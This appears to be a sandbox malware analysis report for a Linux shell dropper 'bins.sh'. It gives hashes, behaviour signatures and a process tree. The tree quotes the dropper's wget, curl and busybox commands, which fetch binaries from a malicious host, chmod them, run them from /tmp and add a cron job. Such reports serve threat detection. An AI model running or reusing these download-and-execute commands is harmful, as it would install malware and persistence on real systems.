Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
09-11-2024 13:41
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
2423b76f06d59136899a4840e435b324
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SHA1
04e69c7b51363355b93f9050ed672ad2d5bf8e22
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SHA256
623e3c1314fabbc0c20a6264bcad1f14f53975d61892d2b93a815974ca8c0ff0
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SHA512
de88717c2fcdb41324fbd357d35b87c7f4a0af403f8c4eacc5352195e0d5add123c68dc1908c955976c8c9f749c3cc676e85b71b7cb944a106fa6246def3b5e4
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SSDEEP
192:fYMLaKmT7JoswkgFCi/qZpwn7kSkgFCiOZpwn7hYMLaKDX:6T7JosgKaX
Malware Config
Signatures
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Contacts a large (1753) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodpid process 802 chmod 810 chmod 741 chmod 767 chmod -
Executes dropped EXE 4 IoCs
Processes:
DgY18nfKIcdThLn44egYEVQOYhsN0XsUVYEPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Yz5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WAJwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6fioc pid process /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY 742 DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y 768 EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA 803 z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f 811 JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f -
Renames itself 1 IoCs
Processes:
JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6fpid process 812 JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.qaSf19 crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6fdescription ioc process File opened for reading /proc/1033/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1139/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/989/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1010/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1016/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1051/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/909/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/972/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/981/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1034/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1077/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/866/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/905/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/910/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/988/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1038/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/14/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/71/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/982/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1048/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1128/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/856/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/997/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1005/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1063/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1092/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1134/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/673/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1036/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1049/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/707/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1098/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1057/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1070/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/871/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/881/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/968/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/11/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/853/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1061/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/908/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/940/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/965/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1020/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/677/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/708/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/903/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1025/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/105/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/912/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1001/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/705/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/840/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/868/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/891/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/954/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/3/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/74/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/670/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/880/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1031/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1032/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1054/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f File opened for reading /proc/1113/cmdline JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f -
System Network Configuration Discovery 1 TTPs 14 IoCs
Adversaries may gather information about the network configuration of a system.
Processes:
curlbusyboxwgetwgetbusyboxcurlbusyboxcurlcurlwgetbusyboxwgetwgetcurlpid process 737 curl 760 busybox 806 wget 714 wget 740 busybox 786 curl 809 busybox 834 curl 746 curl 773 wget 801 busybox 832 wget 745 wget 807 curl -
Writes file to tmp directory 12 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetbusyboxwgetwgetcurlbusyboxcurlcurlbusyboxwgetcurlbusyboxdescription ioc process File opened for modification /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY wget File opened for modification /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY busybox File opened for modification /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y wget File opened for modification /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f wget File opened for modification /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f curl File opened for modification /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f busybox File opened for modification /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY curl File opened for modification /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y curl File opened for modification /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y busybox File opened for modification /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA wget File opened for modification /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA curl File opened for modification /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:708
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/bin/rm/bin/rm bins.sh2⤵PID:711
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:714 -
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:737 -
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:740 -
/bin/chmodchmod 777 DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY2⤵
- File and Directory Permissions Modification
PID:741 -
/tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY./DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY2⤵
- Executes dropped EXE
PID:742 -
/bin/rmrm DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY2⤵PID:744
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:745 -
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:746 -
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:760 -
/bin/chmodchmod 777 EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y2⤵
- File and Directory Permissions Modification
PID:767 -
/tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y./EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y2⤵
- Executes dropped EXE
PID:768 -
/bin/rmrm EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y2⤵PID:772
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:773 -
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:786 -
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:801 -
/bin/chmodchmod 777 z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA2⤵
- File and Directory Permissions Modification
PID:802 -
/tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA./z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA2⤵
- Executes dropped EXE
PID:803 -
/bin/rmrm z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA2⤵PID:805
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:806 -
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:807 -
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:809 -
/bin/chmodchmod 777 JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f2⤵
- File and Directory Permissions Modification
PID:810 -
/tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f./JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:811 -
/bin/shsh -c "crontab -l"3⤵PID:813
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/usr/bin/crontabcrontab -l4⤵PID:814
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/bin/shsh -c "crontab -"3⤵PID:817
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:818 -
/bin/rmrm JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f2⤵PID:828
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq2⤵
- System Network Configuration Discovery
PID:832 -
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq2⤵
- System Network Configuration Discovery
PID:834
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
111KB
MD5701e7a55a4f3650f5feee92a9860e5fc
SHA16ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA256ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
SHA5127352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
210B
MD533400c099957f49c7542af08e4ba7f6d
SHA16888113f2046ba272b4114dff48287c939fe5035
SHA256d60a33beb5e1d685ae98c93b9ff53b4c4091264d12901ebec6e0d4fbc07b7068
SHA512cf5c91867e201936cbd62af9ce417b2ed4d30329348d48fd5192561817bd3d4be91962f240b78e2b48de58cb689d014905fe4962373246da2f8acf4c45f71556